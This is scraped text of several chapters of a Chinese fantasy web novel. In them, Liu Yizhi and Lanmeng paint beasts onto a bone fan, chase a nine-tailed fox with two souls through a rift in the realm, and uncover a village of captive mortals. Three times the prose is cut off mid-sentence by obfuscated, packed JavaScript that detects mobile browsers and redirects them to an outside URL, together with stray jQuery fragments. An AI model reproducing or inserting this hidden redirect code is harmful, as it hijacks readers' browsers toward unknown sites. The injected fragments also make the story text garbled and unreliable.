她本还在疑惑这人葫芦里买的什么药,可扭头一看,她的呼吸猛然间滞住了。 悉悉索索的声音传来,是花叶被微风吹拂而相互摩擦碰撞的声音,只见微风过处,像是涟漪层层荡漾开来,一朵朵五颜六色的花相继发出光亮,漫无边际的花海呈现在眼前。 岚孟怔愣地朝前走了一步,完全忘记了自己站在坡顶,然而她只踉跄了一下,便感觉周身缭绕着无形的气流,将她平稳送到了花海之中。 她扭头看去,见挺拔如竹的青年站在坡顶,背后是浩渺无光的夜空,面上笼罩着朦胧的光,他忽而笑了一下,朝自己挥了挥手,好像在说,去吧。 去吧。 岚孟转回身,一步一步朝花海深处走去,她的步伐越来越快,去追逐滚滚向前的花潮,渐渐地,她跑了起来,仿佛前方有什么东西在等着她。 夜风呼呼地吹,成千上万的花瓣齐齐向高空飞去。柳逸直在远处注视那个瘦削的背影越跑越远,忽而纵身跃起,足尖轻轻点在花尖,踏着花瓣向前飞行。 明明是花瓣的光照亮了她,却让人感觉是她在发光一样,宛若九天玄女降临凡尘。 心若自由,便不会被困于无风之地。 从栖风谷出来以后,两人穿过了另外两个小秘境,径直来到了荒骨之地。 名字听着像是荒凉冷寂、白骨遍野的蛮荒之地,其实不然,荒骨之地是山河图中最为生机盎然的秘境之一,占地广阔,地形复杂,有高山有河谷,也有荒漠戈壁,生活在这里的异兽有千八百种,有性格温顺的,也有脾气火爆的,不少喜好灵宠伙伴的修士都会来此寻找机缘。 传说诸神尚未飞升上界时,荒骨之地是水神玄冥治下之地。玄冥并不反对修士们来此寻找异兽,祂虽然温和宽厚,但也不是没有脾气的软柿子。 据说某座山头的野神想要一只坐骑,来壮大自己的实力,于是便来到荒骨之地,以强硬的手段带走了一只五彩神牛,玄冥大发雷霆,发大水淹了那座山,还把山神打得屁滚尿流,哭着喊着把神牛送了回来。 自此开始,玄冥便立下规矩,想要异兽,可以,但是得“下聘”,就像是凡人聘猫一样,不仅得带着合适的礼物,还得准备“契约”,而且得是平等契约,而不是主仆契约。最关键的一点,得人家异兽认可你,肯跟着你走,才能结契。若是强行结下契约,不仅带不走异兽,还会遭到神谴,终生不得进入荒骨之地。 因此来到此地寻找异兽的人都安分守己,毕竟傻子才会和神明为敌。 柳逸直此行的目的是绘制玉白骨扇,须得观察异兽行动、刻画其样貌,将其绘到扇面上。最后一步尤为关键,必须一气呵成,若是受到外界扰动,轻则前功尽弃,重则毁坏扇面,所以他才请了闫扶音来为他护法。 易氏先辈以骨为扇,以天地元气为墨,锁精神、铸魂灵,将二十八星宿对应的异兽刻画在扇面上,待对敌时,将自身灵气注入扇面之中,便能“捏造”一只异兽为己所用,提高战力。其中精妙,柳逸直尚且不能堪破一二,所以只能照葫芦画瓢,先画一只异兽试试。 他最先找到的是青龙七宿之四,房日兔。 兔子嘛,可爱,温顺,乖乖地蹲在地上吃草,不吵也不闹,给他练手再合适不过。 画废了十多张纸,费了九牛二虎之力,终于弄清楚了该怎么画才能锁住精气神,柳逸直行云流水地在玉白骨扇上画下了属于房宿的扇面。 柳逸直颇为满意地看着扇面,余光瞥见一抹浅色身影,他扭头一看,发现闫扶音闭着眼睛在树下打坐调息,几只背黑腹白的燕子高处的树枝旁飞翔打转。 燕子,是危宿。 他提起炭笔在本子上写写画画。 夕阳的余晖笼罩着大地,给山川披上了一抹金色,燕子时而高飞于天,时而降落在柔软草地上,啄食缝隙之中的草籽,时而轻轻落在姑娘的肩头,沐浴在被微风吹起的青丝之中。 炭笔在纸上摩擦出刷刷的声音,夕阳,山川,燕子……柳逸直沉浸其中,等到他猛然惊醒时,笔下眉目沉静的女子已经初具雏形。 他做贼心虚地抬眼往前看了一眼,见那人毫无察觉,才迅速将那张纸撕下来随手放进芥子袋里,然后专心致志地刻画燕子。 两天时间很快过去,柳逸直陆陆续续画了七八档扇骨,逐渐变得得心应手。然而受限于修为,他所绘制的异兽图像,威力仅为知行境,所以他只在扇面上画了兔、鹿、牛之类杀伤力不算太大的兽。其他对战斗有益的异兽,一是不太容易寻得,二是就算见到了,对方也不会老老实实待在原地让他观察,所以进展十分缓慢。 闫扶音倒是在哪都安之如素,跟着他满世界跑也毫无怨言,尽职尽责地为他驱赶凶兽。若是风平浪静,无事发生,便会在他看得见的地方调息打坐。 不知道是不是柳逸直的错觉,他总觉得她这几日心情很好。以往单独和他在一起时,不是冷着个脸不理人,就是嘴上淬了毒似的怼得他体无完肤。这几天她居然破天荒的一直都是好脸色,有时候甚至会好心地帮他寻找异兽的踪迹。 比如说现在,她拉着他躲在一棵大树后,隔着十几丈的距离,偷窥着那只焦躁地在河边走来走去的花斑大老虎。 柳逸直半蹲在她身后,压低了声音:“它好像很着急?” 岚孟一眼不眨地望着那只老虎,没回头道:“好像在等它媳妇。” 柳逸直面露惊诧:“啊?” 就在这时,一声虎啸从远处的山林传了过来,花斑大虎肉眼可见地抖了一下。不多时,另一只花斑老虎蹿出树林,对公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932246|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老虎一阵低吼,那姿态就像是教训不成器丈夫的夫人一般,而公老虎也唯唯诺诺地用大脑袋蹭着母老虎。 柳逸直连忙掏出纸笔,刚把本子翻开,他就发现那两只本还在一个愿打一个愿挨的老虎,转眼间便亲亲热热地以一种难以言喻的姿势滚在了一起。 手比脑子先做出了反应——他将本子摊开,搁在了闫扶音的眼前,对方不解地回头看他,柳逸直干巴巴地补充道:“少儿不宜。” 岚孟啼笑皆非,她挑眉道:“笑话,老娘马上就一百岁了,到底谁才是‘少儿’?” 柳逸直讪讪地把本子收了回来。 眼前下这情形也容不得他们多待,两人一前一后回到了栖身的山洞里,分别居于山洞两头,中间隔着十万八千里。 柳逸直在自己这边放了个莹石,幽幽光芒照亮了一小片区域,而另一边则伸手不见五指,他只能勉强分辨出黑暗中有个人端正坐在岩石,半晌也不动一动。 她最近好像一直在调息,是催生龙鳞果消耗的元气还未恢复吗?柳逸直想。 他翻看着手里的本子,忽然想起了什么。 白天,她说的是“马上就要满一百岁了”是吧? 妖族的成长期要比人族久得多,人只需要十几二十年就能长大成熟,而花费几百年,甚至上千年才能长成成妖的妖族也不在少数。 不满百岁的妖,就已经能达到人族闻道境修为了吗? 柳逸直忽然发觉自己可能走进了一个误区。他一直以为十多年前,闫扶音就已经是叱咤风云的大妖了,所以他都是按照“和尧玦交情颇深”、“闻道境”、“蓝羽鸟妖”这几个线索去找,问了很多人也毫无头绪,但若是线索便是错误的呢?时间倒退十八年,她不过八十多岁,放在普通妖族身上,恐怕连灵智都未开吧。 他一直很疑惑,为什么她背上的伤口会长出属于重明的羽毛,能使出尧玦的记忆封禁书,还能调用暾云炬神力,要说她身上没点事关尧玦的秘密,他是一个字都不会信。 所以,弄清楚她和尧玦是什么关系,朋友,兄妹,抑或是父女,才是解决疑惑的关键。 柳逸直合上本子,朝那个方向看了一眼,她依旧安安静静地盘腿打坐,丝丝缕缕的灵气在她周身流转,像是游弋水中的游鱼。 五天后,柳逸直终于在一个清幽的河谷发现了玄武七宿之首——獬豸的踪迹。 獬豸乃是祥瑞之兽,生来便有灵智,懂人言通人性,能辨是非曲直,能识善恶忠奸,用头上的角来惩戒奸邪之人。 成年獬豸的修为堪比破妄境强者,柳逸直发现的这头便是如此,体大如牛,通体黝黑,周身庄严肃穆的强大气息令其他异兽不寒而栗,纷纷逃离了河谷。 河谷两侧的坡地上,柳逸直和岚孟躲在巨大树桩之后,强大的威压让他不敢轻易靠近。异兽都有领地意识,更何况是獬豸这样的仙兽,若是贸然闯入,说不定会被视为入侵者,从而遭到攻击。 正拧眉思考着怎么才能靠近观察时,柳逸直余光里忽然出现了一抹火红的身影,他瞪大了眼睛,怔愣道:“那是……” “九尾狐?” 58. 九尾狐 一只通体火红的狐狸施施然从密林中走了出来,五条毛茸茸的尾巴规律地摆动着,神情高傲,眼神睥睨,姿态优雅地踱步到了獬豸上游,低下头颅喝水。 九尾狐族的道行是以尾巴的数量划分的,尾巴越多道行越高,这一只狐狸有五条尾巴,至少有五百年的道行。 柳逸直大气也不敢出,生怕惊扰了那两只仙兽。 十八年前青丘大乱,几乎所有九尾狐都已经死绝了,为何会出现在这荒骨之地?莫非是和方无戍一样,两百年前就躲在这里了? 他扭头看向身侧的姑娘,发现她神情严肃,双眼紧紧盯着那只狐狸,半天也不眨一下,一副全神戒备的姿态。 她低声道:“那狐狸有问题。” 柳逸直:“什么?” 岚孟抬手点在了他太阳穴处,柳逸直只感觉好似有一道白光从脑中穿过,等他再望向溪边时,便发现那狐狸身上朦朦胧胧的,好似蒙了一层薄雾一般,让人看不真切。 点在太阳穴的手指攸然撤离,那层薄雾便消失不见了。 “它身上是……狐魂?”柳逸直问道。 “不错,”岚孟答道,“一体双魂,有违天道,难怪要躲在这山河图里。” 离得如此之近,獬豸自然发现了九尾狐身上的玄机,只见它用前蹄刨了刨地,头颅压低,用独角直直对着九尾狐,一个健步就朝九尾狐冲去。 九尾狐步伐轻盈地躲开了獬豸的攻击,足尖轻轻在水面上一点,便跃到了河对面,它转回头,挑衅地看了獬豸一眼。 柳逸直本以为依照獬豸的性子,自然不会踏入这种请君入瓮的陷阱,但没想到它竟然跟了上去。 而身侧之人也“嗖”地一声蹿了出去,眨眼间便掠过河面,飞进了树林之中。 柳逸直只好提步跟了上去。 - 跑了三里地,岚孟终于追上了那只狐狸,她扬声问道:“喂,你是青丘的狐狸吗?” 九尾狐偏头看了她一眼,没有回答,只是仰起头嚎了一声,跟在狐狸屁股后面的獬豸也仰头叫了一声。 岚孟扭头去看,发现獬豸双眼发紫,显然是被魅惑了,她飞跃过去,跨坐在了獬豸背上,揪着它脖子上的毛将其勒停,扬起的灰尘许久才消散。 九尾狐朝她呲着牙,喉咙深处传来嘶吼,它口吐人言,是一男子声线:“你是何人?休要多管闲事!” 岚孟翻身落到地面,抚了抚獬豸身上的毛,獬豸温顺地用脑袋顶了顶她的手心。 岚孟道:“我只是想问一下你是不是青丘的狐狸,以及青丘遗址去了哪里而已,并不想妨碍你。” 柳逸直轻轻落在岚孟身后,听到这话时微微皱了皱眉。 什么叫“青丘遗址去哪了”?那么大一个青丘,还能长腿跑了不成? 九尾狐眼神一凛,它不屑地扯了扯嘴角,“切”了一声,嘁声道:“老子可不相信人族,没品的东西,呸!” 岚孟微微笑道:“那正好,我不是人。” 九尾狐甩了甩尾巴,周身气息倏尔变得冷寂沉稳,它一步步朝岚孟走来,巨大的狐尾撩开了她面前的鲛云纱,轻缓温和的女子嗓音响起:“我见过你。” 狐尾放下鲛云纱,转而扫过岚孟的胳膊,轻柔的触感直让人身上发痒,岚孟岿然不动,似笑非笑道:“见过我的狐妖可不少,你是哪一位?” “少转移话题!”男子嗓音忽然响起,狐尾一下子全收了回去,他往后转身,扭头睨了岚孟一眼,高傲得不可一世,“带着你的狗赶紧滚!别在这碍眼!” 空气静默了一瞬间。 柳逸直后知后觉。 他是狗? 还不等他出言反驳,九尾狐迈开步子朝前奔去,獬豸也迈开四蹄跟了上去。 “哎——” 岚孟抬起手想要去抓那狐尾,却被狐尾巨大的力道甩了出去,柳逸直连忙飞上前去接住她。 强烈的光芒如花朵般绽放开来,一条巨大裂缝横亘在两人面前,火红狐尾在裂缝中一闪而过。 秘境裂缝!柳逸直的心几乎要跳出嗓子眼了。这等百年难遇的事情居然让他碰上了,真不知该说是幸运还是不幸。 山河图七十二秘境,有三分之一是未被探索的,和其他秘境也没有传送门连通,只能靠时不时出现的裂缝通行,没有人知道里面究竟是刀山火海还是仙府宝地,往往是危险大于机遇,只有那些对自身实力极其自信的强者才会单枪匹马闯入新秘境之中。 猛烈的罡风吹得衣裳猎猎作响,刮在脸上像是刀割一般刺痛。鲛云纱帏帽被吹飞了出去,被柳逸直手疾眼快地一把抓住,他扭回头,看见岚孟抬手挡在眼前,迎着罡风一步一步往前走,他一把攥住它的手腕,大声吼道:“你疯了?!” 岚孟冷眼瞪他:“你管得未免太宽了。”她挣开他的手,用力推了他的胸膛一把,然后往前大跨几步,纵身跳进了那条裂缝里。 柳逸直被推得退出了罡风区域,眼见着那裂缝越来越小,他在原地踱步几圈,一咬牙,不管不顾跟着跳了进去。 裂缝中的罡风比他想象中猛烈得多,而且还有更为驳杂的灵气流,像是无头苍蝇一样乱撞,柳逸直连忙支起护体灵气罩,然而却收效甚微,很快便被气流和罡风击碎了。 撕裂的痛感从灵魂深处传来,柳逸直眼前一阵阵发黑,迷迷糊糊间瞥见一个熟悉的身影,他伸长胳膊抓了过去,就在他即将抓住那只手时,四周忽然变得漆黑一片,罡风骤然消失,什么声音都没有了,世界变得一片虚无。 柳逸直手中只剩方才抓住的那一方鲛云纱帏帽。 “咚,咚,咚……” 柳逸直的心跳声震如擂鼓,一声大过一声,他不由自主努力屏住了呼吸,好像只要发出一丁点儿声音,就会被某种可怖之物拆骨入腹一般。 忽然,“吱嘎”一声门响,像是有人忽然在漆黑的世界某处凿开了个洞一般,有天光倾斜而来,刺得柳逸直抬手挡在了眼前。 脚下忽然腾空,他察觉到自己落入了一个温暖的怀抱,女人温柔的声音传入耳中:“逸儿,来,该喝药了。” 娘? 柳逸直猛地睁开眼,柳余芳的眉眼映入眼帘,他怔愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只不过,青丘山现如今郁郁葱葱,完全没有被破坏的痕迹,就像是时间倒退回了十八年前一样。 若真如此,那青丘狐族应该尚未覆灭才是。 岚孟张开翅膀朝山中飞去,她隐藏了气息,没有惊动一草一木,径直飞到了昔日狐族部落所在的山谷。 比起人族精美舒适的房屋,狐族的住所就简陋得多,要么是往下挖掘的狐狸洞,要么是茅草、木材搭建的小木屋。房屋鳞次栉比,布局凌乱无绪,这就导致其间的道路时宽时窄,像是迷宫一般错综复杂。 从高处往下俯瞰,能看到不少修成人形的狐妖在忙忙碌碌,而几只狐狸崽子撒开四条腿在道路上乱窜,一派安宁祥和的场面。 这样一看,好像并无什么不妥。岚孟降落在一偏僻院落的墙头,院子中央有个人形狐族在打坐修炼,丝丝缕缕的灵气涌入他的身体里。 岚孟眼尖地看到有一丝若有似无的黑气从地底升起,夹杂在灵气之中,径直涌入了那狐妖的身体里。 ——魔气。 59. 清风村 柳逸直上下打量男童一番,确定他只是个毫无灵力的人族,他走近几步,扬起笑脸问道:“小兄弟,请问这里是什么地方?” 小童大声答道:“这里是静封镇清风村。” 有大人听到动静从家中走了出来,村中小道上很快便挤满了人,他们三三两两聚在一起,不知道在说些什么,仿佛看到了奇怪的东西一般,面上有好奇有警惕,也有惊恐。 满脸惊慌的妇人挤出人群,一把将小童抱了起来,一个中年男子走出来将母子二人护在身后,警惕地看向岚孟二人,问道:“外乡人?你们打哪来的?” 柳逸直环顾众人一周,打着马虎眼道:“我们是沿着那条河进来。” 岚孟附和道:“我们远行至此,明日还要上宁州去投奔亲戚,不知诸位乡亲可否容我们借宿一晚?” 众人窃窃私语,讨论了好一会,方才说话的中年人才又站了出来,“我是清风村的村长刘忠华,家中还有一间闲屋,二位若是不嫌弃的话,便随我来吧。” 岚孟朝柳逸直点了点头,柳逸直便朝刘忠华笑道:“那便多谢村长美意了。” 岚孟二人跟着刘忠华一家三口往村子深处走,其他村民陆陆续续回了自己家,也有人探头探脑地盯着他们的背影看,然而柳逸直一回头,他们便受了惊吓一般缩回了家中。 刘家并不是很大,一间正房,两间厢房,刘忠华一家三口住在正房,年逾六旬的刘父住在西厢房,刘忠华便将两人安置在了东厢房。 刘家媳妇芸娘端来了一壶热茶和几个烧饼,也不多说一句话,逃似地飞奔了出去。 刘忠华面含歉意地笑了笑,解释道:“我媳妇胆子小,让二位见笑了。寒舍简陋,粗茶淡饭,招待不周的地方,还请多多担待。” 柳逸直连忙摆手:“村长客气了,是我们打扰了才是。” 刘忠华又问了问他们从何而来,要到哪去,柳逸直编得有模有样,说他们兄妹从陵州来,家里发大水,父母都死了,兄妹二人孤苦伶仃,只能去投奔远在宁州的舅父…… 也不知刘忠华信了没有,说了一会话,他便起身离开了,只叮嘱他们山里有野兽,无论听到什么声音,入夜以后都不要离开这个屋子。 像是有人吹灭了世界的灯火一般,天眨眼间便黑透了。柳逸直站在窗边,透过窗缝看着刘家主屋的灯亮了没一会就灭了,而西厢房则从没亮过灯,只时不时有老人沉闷的咳嗽声传出来。 从窗外收回目光,他看向端坐在桌边的姑娘,轻声问道:“你怎么看?” 岚孟只道:“秘境里怎么会有凡人?定有蹊跷,而且他们好像很害怕外乡人。” 她揭开茶壶嗅了嗅,道:“茶水没有问题。”又拿起干硬的烧饼反复端详,掰开看了看,她皱起了眉。 柳逸直走了过来,“有毒?” 岚孟不答,只将烧饼展示给他看。只见那烧饼的外层烧得都快糊了,而内里却还是生的,黏稠的面糊几乎能滴出水来。 柳逸直将剩下的烧饼全掰开了,全是内里夹心外面干硬,他嘟囔道:“这可不像是一个操持家务惯了的人做出来的烧饼。” “去他们家庖屋看看。”岚孟提议道。 两人轻手轻脚推开房门走了出去。 庖屋就在隔壁,夹在东厢房和正房之间。岚孟拿出一个莹石来照明,柳逸直则小心翼翼揭开了米缸,往里一看——空的。 面缸底部倒是有一层薄薄的面粉,颜色蜡黄,不知道是何时的陈年老面了。 岚孟拉开了壁橱,里面的锅碗瓢盆上都覆盖了一层厚厚的灰尘,没个十年八年积不了这么多灰。灶台上也有厚厚的灰,有匆忙打扫过的痕迹,估计是方才给他们做烧饼时留下的。 在岚孟检查壁橱的时候,柳逸直从柴火堆里翻出来一个油纸包,里面放着一本崭新的年历,毫无折痕,像是刚买回来一般。 柳逸直看见了上面的字,惊奇道:“丙辰年?那不是十八年前了么?” 十八年前,赤鱬,九尾狐……一个个词语在岚孟脑海中闪过,逐渐连成了一条线。 她灵光一闪:“莫非……” 柳逸直立即问道:“你想到了什么?” 岚孟正想和柳逸直说说自己的猜测,一扭过头却看见他身后有一个黑黢黢的人影,乱糟糟的头发胡乱披散着,脸上沟壑纵横,像是老树成精。 她猛然吓了一跳,不由自主往后退了一步,却踩到了地上圆圆的柴火,脚步一个踉跄就往后倒去。 柳逸直手疾眼快地拉住她的胳膊,抢过她手中莹石往身后照去,只见窗外立着一个鹤发老者,岁月的痕迹让他的脸庞苍白而干瘪,犹如风干的核桃,精神却仍旧矍铄,目光炯炯有神。 “二位在我家厨房干什么呢?”刘父的嗓音犹如风箱般嘶哑,像是一口浓痰堵在喉头,听得人心中发痒。 柳逸直镇定地笑了笑,“舍妹肚子饿了,想找点东西吃,可诸位都睡下了,我们也不好再打扰,就想着自己来找点东西吃。老伯放心,我们会付钱的。” 岚孟配合地用手捂着肚子,讪讪地笑了笑,“饿得前胸贴后背了。” 刘父上下打量了他们两眼,只叮嘱他们赶紧回屋去,便背着手回了西厢房。 房门关闭的声音响起,庖屋中惊魂未定的两人对视一眼,异口同声道:“那老头有问题!” 柳逸直往外看了一眼,抬手落下了一个结界,确保无人能窥探以后才开口。 “他一个没有灵力的凡人,竟然能悄无声息地靠近,实在是可疑,而且,”他眉头紧锁,犹疑道:“我感觉他的气息似曾相识,好像在哪里遇到过。” 岚孟解开了他的疑惑:“是轮回蝉,那老头的气息和崝十分相近。” 柳逸直回想了一下当初琮的话,猜测道:“莫非是鸿?不过,轮回蝉为何会在山河图里,还成了毫无灵力的凡人?莫非他也在褪衣时期?” 岚孟摇摇头:“不像。” 她皱起眉,“感觉像是被抽了妖力。” 锁妖阵抽取妖力的滋味,她可是熟悉得很。 “不管怎么说,山河图里有凡人村庄就十分古怪。”柳逸直道,“诸神在选择秘境的时候肯定避开凡人村落了,清风村毫无疑问是后来才迁进来的。” “将村民带进山河图,又抽取轮回蝉妖力,做下这些事情的恐怕就是那只九尾狐。”岚孟道。 柳逸直皱眉沉思。 轮回蝉被抽取的妖力去了何处?将凡人抓进山河图有什么目的?而且那些村民好像也知道自己不在凡间,而是身处隐秘之地,所以他们这两个外乡人到来时,村民们才会又惊又疑,不盘问他们怎么来的,也不拆穿他们拙劣的谎言。 这时,正房忽然有灯火亮起,柳逸直眼神一凛,他抓住了岚孟的肩膀,有风从两人脚底升起,转眼之间两人便从庖屋转移到了东厢房。 岚孟和衣在床上躺下,柳逸直则坐在桌边,一手撑着头,紧闭双眼作睡觉状。 不多时,刘忠华提着一盏昏黄的竹灯笼,轻手轻脚凑到了西厢房的窗户边,用手指将窗纸捅了个眼,眯起眼睛朝屋中查看,确定两人睡得正酣,他才蹑手蹑脚地推开大门离开了。 就在刘忠华合上院门的那一刻,柳逸直睁开了眼睛,岚孟翻身坐起,两人心照不宣地在身上贴了一张隐息符,轻手轻脚地推开房门,翻过墙头追了上去。 刘忠华脚步匆匆,飞快地穿越了村庄,一路往山上走去。 山上树木繁茂,林中伸手不见五指,夜风吹得树木左右摇晃,像是重重鬼影,天上的明月逐渐西斜,岚孟二人不远不近地跟着刘忠华,来到了山谷幽深处,潺潺水声传入耳中,一条清澈的小河映入眼帘,时不时有赤鱬跃出水面,再“噗通”一声落入水中。 按照岚孟的猜测,这条河应该就是昔日源起于青丘的英水。 沿着英水走了没多久,一个幽深黑暗的巨大山洞出现在眼前,山洞上方生长着许多枝叶繁茂的藤蔓,长长的枝条垂落下来遮住了洞口,英水便发源于山洞之中。 刘忠华拨开藤蔓走了进去,藤蔓摇曳碰撞,发出沙沙声响。他没发现的是,在他离开后,洞口的藤蔓又轻轻摇晃了两下。 洞中道路不宽,仅容两人并肩而行,刘忠华手中竹灯发出微弱的光芒,照亮了一小片黑暗。 脚下踩到了一根枯树枝,发出“咔哒”的声响,刘忠华的心猛地提到了嗓子眼,他缓缓转过头往后一看,黑黢黢的,什么也没有。他咽了咽口水,鼓起勇气,大步流星朝前走去。 又往前走了几十步,光亮和一声怒骂同时传了过来。 “还不快把老娘放开!否则老娘踏平你这狐狸洞!” 刘忠华抖了三抖,跟在他身后的岚孟则轻轻蹙起了眉。 这声音……鸣珂? 刘忠华哆哆嗦嗦不敢前行,岚孟和柳逸直二人则越过他来到了洞口。 洞穴有十余丈深,壁上长满了发光的草,到处都是被吸干了血肉的异兽,中央甚至堆成了一座尸骨山,一个俊美男子坐在顶端,神情桀骜,身后六根粗壮的火红狐尾在微微摆动。 尸骨山脚有七八个铁笼,每一个笼子里都关着一只异兽,其中一个赫然是獬豸,庞大身躯只能蜷缩在铁笼里,两眼紧闭,不知道是死是活。 只有一个铁笼例外——鸣珂双手抓着铁笼的栏杆,恶狠狠瞪着尸骨山顶端的狐族少年,话语里充满了怒气:“喂!姓花的,说你呢!不分青红皂白就把老娘抓来!你知不知道老娘是什么人!” 花蔺“哼”了一声,不屑道:“不就是瀛洲那帮小鸟的少主么,有什么了不起的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949455|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>鸣珂咬牙切齿道:“既然知道,那你还不放了老娘?小心我父王过来,荡平你这野狐岭,将你们杀得片甲不留!” 不知道是哪句话触怒了男子,他的眼神变得愈发凶狠,身形矫健地滑下尸骨山,大步走到鸣珂所在的铁笼面前,狠狠踢了铁笼一脚,铁笼的栏杆立即“咔咔”作响,方形的铁笼转眼之间就变成了球形。 铁笼摇摇晃晃,只需要一点点晃动就会翻滚出去,鸣珂吱哇乱叫着,四肢用力扒紧了栏杆,她瞪了花蔺一眼,怒骂道:“混蛋!你干什么?!” 鸣珂眼睁睁看着花蔺的一条尾巴移到了身前,他冲她露出一个善良无害的笑容,然而他的行动却完全和善良不沾边——狐尾狠狠抽了铁笼一下。 铁笼立即高速旋转着滚了出去,其他铁笼也被撞翻在地,里面的异兽一个个被撞得四仰八叉,就像是死了一样,不论受到多大的撞击也毫无反应。铁笼撞到了山壁上又弹了回来,在山洞里滚了好几圈,才被男子一脚踩停。 花蔺居高临下地看着笼内被颠得七晕八素的鸣珂,目露凶光,似笑非笑道:“你说什么?我们青丘是野狐岭?” 鸣珂只感觉一群群亮屁虫在脑海里横冲直撞,胃里翻腾不止,一阵一阵地犯恶心,几乎要将中午吃的饭吐出来。 她抓着栏杆把自己撑了起来,甩了甩脑袋,扬起脸,用鼻孔对着面前的大尾巴狐狸,伸出手指着他的鼻子道:“怎么,我还说错了?青丘早就没了,九尾狐全都死绝了!就算是你们把这里装扮得和青丘一模一样,也不是昔日的青丘!” 花蔺怒极,将手伸过笼子,一把拽住鸣珂的衣领将她提了过来。 花蔺力道之大,让鸣珂的整个上半身都贴紧了铁栏杆。冰冷坚硬的铁杆硌得她生疼,鸣珂双手抓住花蔺的胳膊奋力挣扎,长长的指甲嵌进男子皮肉之中,就算是流出血来,也没有让他松一松力道,越挣扎,他抓得反而越紧。 愤怒让花蔺俊美的脸庞浮上几分薄红,他咬牙切齿道:“青丘为什么会覆灭?还不是你们四大妖族合起伙来算计我们?都是一丘之貉,你有什么资格在这里叫嚣?” 鸣珂先是一愣,继而沉下脸来,“什么丘什么貉?你到底几个意思?” 花蔺忽然笑了起来,整个山洞都回荡着他癫狂的笑声。 “你可真是不谙世事的大小姐。当年那群死蛇为了从我们狐族手中抢夺妖王之位,伙同包括羽族在内的其他三族给我们王设下圈套,最终导致狐族覆灭。怎么,你那好父王没告诉你吗?” 自古以来,妖域强者为尊,由四个实力最强的种族共同管理,这一千年来,妖域分别由东海蛟龙、瀛洲羽族,青丘九尾狐,以及鳌山玄龟分而治之。 十八年前,狐王宣措施行血祭禁术,导致九尾狐全族覆灭,这四分之一的妖域治理之权便顺延到了蛇族身上,蛇族头领余蒙也跻身妖王之列。 当年狐乱的时候,鸣珂正值换羽时期,在瀛洲闭了三年关,根本不知道外界发生了什么天翻地覆的事情。等她出关时,狐族已经没了,她去问父王和甘笠,都说狐族是咎由自取,她就没多管,所以也不清楚狐族覆灭的前因后果。 但现在看这只九尾狐言之凿凿的样子,莫非当年的事情真有什么隐情?是蛇族为了妖王之位才给狐王宣措下套? 鸣珂半信半疑道:“少在这空口白牙污蔑人,你有什么证据?别以为我会相信你的一面之词。” “污蔑?”花蔺冷笑,“我有什么理由污蔑?果然是狗眼看人低的羽族,一副鼻孔朝天的样子,真是令人作呕。” “你!” 鸣珂差点咬碎一口银牙。这臭狐狸实在是可恶,她恨不得扑上去撕烂他的嘴!但是现在她就是砧板上任人宰割的鱼肉,他动一动手指就能把她碾死。 正打算扬起笑脸向臭狐狸低头,鸣珂忽然看见一个半透明的魂魄从花蔺身上飘了出来,那是个貌美如花的女子,和花蔺长得有八分像,却更温和柔媚,她将两手搭在花蔺的肩上,柔声道:“弟弟,别怠慢了客人。” 花蔺怒目瞪向洞口,吼道:“滚进来!” 刘忠华哆哆嗦嗦走了进来,欲哭无泪道:“大,大仙,有两个人闯入了村里,正住在小的家中。” 花蔺冷哼一声,抬手便朝洞口方向打出一道妖力。 洞口上方的山石“轰隆隆”滚了下来,刘忠华“啊”了一声,立即抱着脑袋蹲下。 半晌过后,轰隆声停止了,发现自己还没死的刘忠华松了口气,他睁开眼睛,却发现两个人挡在自己身前,灰尘勾勒了两人模糊的轮廓,他们的身影逐渐凝实。 刘忠华指着他们的背影,张着嘴巴半天也说不出话来。 花蔺的嘴角勾出一个冰冷的弧度。 “客人都找到这里来了,你这个主人家到底是怎么招待的。” 60. 小青丘 岚孟抖了抖袖子,灵气从她体内爆发开来,震掉了身上所有尘土。微风自柳逸直的脚底摇曳升起,卷走了尘埃,吹得两人的衣袍猎猎作响。 柳逸直往后睨了吓得差点尿裤子的刘忠华,淡淡道:“还不快逃?” 刘忠华立即手脚并用爬了出去。 鸣珂头朝下脚朝上地缩在铁笼中,见到岚孟后立即两眼放光,就像是看到了救星一般,她大声呼救:“闫扶音!快救我!” 花蔺身后的六条狐尾漂浮摆动,其修为堪比破妄境修士,骇人的威压从他身上传了出来,妖力如滚滚大潮,向洞口的两人席卷而来。 柳逸直咬牙抵抗,感觉浑身气血都翻涌不止,只听“锵”地一声轻响,一柄薄如蝉翼的短剑横亘在他面前,握着剑柄的手纤细却有力,冰寒气息从剑刃上由内而外散发开来,四周的石壁立即结了一层冰霜。 柳逸直微微偏头,看向身侧的岚孟,恍惚间竟看见她漆黑的眼瞳中有一抹金色飞快地划过。 岚孟不再压制修为,她周身地气息陡然变了,像是昏睡的猛兽清醒过来,朝强敌露出了尖利的牙齿,磅礴的灵力从她身上喷涌而出,将花蔺的威压挡了回去,他身后的狐尾立即乱了节奏。 